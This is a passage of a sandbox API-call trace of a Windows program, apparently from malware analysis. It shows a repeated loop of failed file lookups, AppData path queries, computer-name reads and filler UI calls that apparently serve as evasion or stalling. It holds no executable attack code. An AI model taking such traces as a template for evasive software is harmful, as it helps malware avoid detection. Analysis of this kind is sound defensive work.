(in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.019] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.019] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.019] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.019] CloseHandle (hObject=0x0) returned 0 [0223.019] CloseHandle (hObject=0xffffffff) returned 1 [0223.020] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.020] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.020] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.020] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.020] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.020] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.020] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.020] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.020] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.020] CloseHandle (hObject=0x0) returned 0 [0223.020] CloseHandle (hObject=0xffffffff) returned 1 [0223.020] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.020] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.020] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.020] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.020] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.020] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.020] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.020] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.020] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.021] CloseHandle (hObject=0x0) returned 0 [0223.021] CloseHandle (hObject=0xffffffff) returned 1 [0223.021] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.021] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.021] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.021] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.021] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.021] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.021] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.021] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.021] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.021] CloseHandle (hObject=0x0) returned 0 [0223.021] CloseHandle (hObject=0xffffffff) returned 1 [0223.021] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.021] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.021] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.021] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.021] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.021] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.022] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.022] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.022] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.022] CloseHandle (hObject=0x0) returned 0 [0223.022] CloseHandle (hObject=0xffffffff) returned 1 [0223.022] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.022] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.022] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.022] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.022] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.022] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.022] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.022] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.022] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.022] CloseHandle (hObject=0x0) returned 0 [0223.022] CloseHandle (hObject=0xffffffff) returned 1 [0223.022] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.022] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.022] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.022] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.023] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.023] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.023] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.023] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.023] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.023] CloseHandle (hObject=0x0) returned 0 [0223.023] CloseHandle (hObject=0xffffffff) returned 1 [0223.023] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.023] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.023] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.023] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.023] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.023] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.023] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.023] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.023] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.023] CloseHandle (hObject=0x0) returned 0 [0223.023] CloseHandle (hObject=0xffffffff) returned 1 [0223.023] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.024] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.024] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.024] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.024] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.024] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.024] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.024] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.024] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.024] CloseHandle (hObject=0x0) returned 0 [0223.024] CloseHandle (hObject=0xffffffff) returned 1 [0223.024] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.024] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.024] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.024] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.024] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.024] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.024] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.024] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.039] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.039] CloseHandle (hObject=0x0) returned 0 [0223.040] CloseHandle (hObject=0xffffffff) returned 1 [0223.040] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.040] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.040] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.040] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.040] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.040] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.040] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.040] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.040] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.040] CloseHandle (hObject=0x0) returned 0 [0223.040] CloseHandle (hObject=0xffffffff) returned 1 [0223.040] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.040] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.040] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.040] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.040] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.041] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.041] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.041] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.041] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.041] CloseHandle (hObject=0x0) returned 0 [0223.041] CloseHandle (hObject=0xffffffff) returned 1 [0223.041] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.041] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.041] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.041] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.041] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.041] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.041] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.041] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.041] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.041] CloseHandle (hObject=0x0) returned 0 [0223.041] CloseHandle (hObject=0xffffffff) returned 1 [0223.041] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.041] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.041] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.041] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.042] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.042] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.042] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.042] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.042] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.042] CloseHandle (hObject=0x0) returned 0 [0223.042] CloseHandle (hObject=0xffffffff) returned 1 [0223.042] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.042] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.042] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.042] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.042] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.042] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.042] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.042] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.042] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.042] CloseHandle (hObject=0x0) returned 0 [0223.042] CloseHandle (hObject=0xffffffff) returned 1 [0223.042] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.042] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.043] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.043] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.043] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.043] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.043] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.043] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.043] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.043] CloseHandle (hObject=0x0) returned 0 [0223.043] CloseHandle (hObject=0xffffffff) returned 1 [0223.043] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.043] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.043] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.043] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.043] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.043] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.043] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.043] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0223.043] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0223.043] CloseHandle (hObject=0x0) returned 0 [0223.043] CloseHandle (hObject=0xffffffff) returned 1 [0223.043] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0223.044] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0223.044] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0223.044] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0223.044] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0223.044] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0223.044] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0223.044] MapViewOfFile 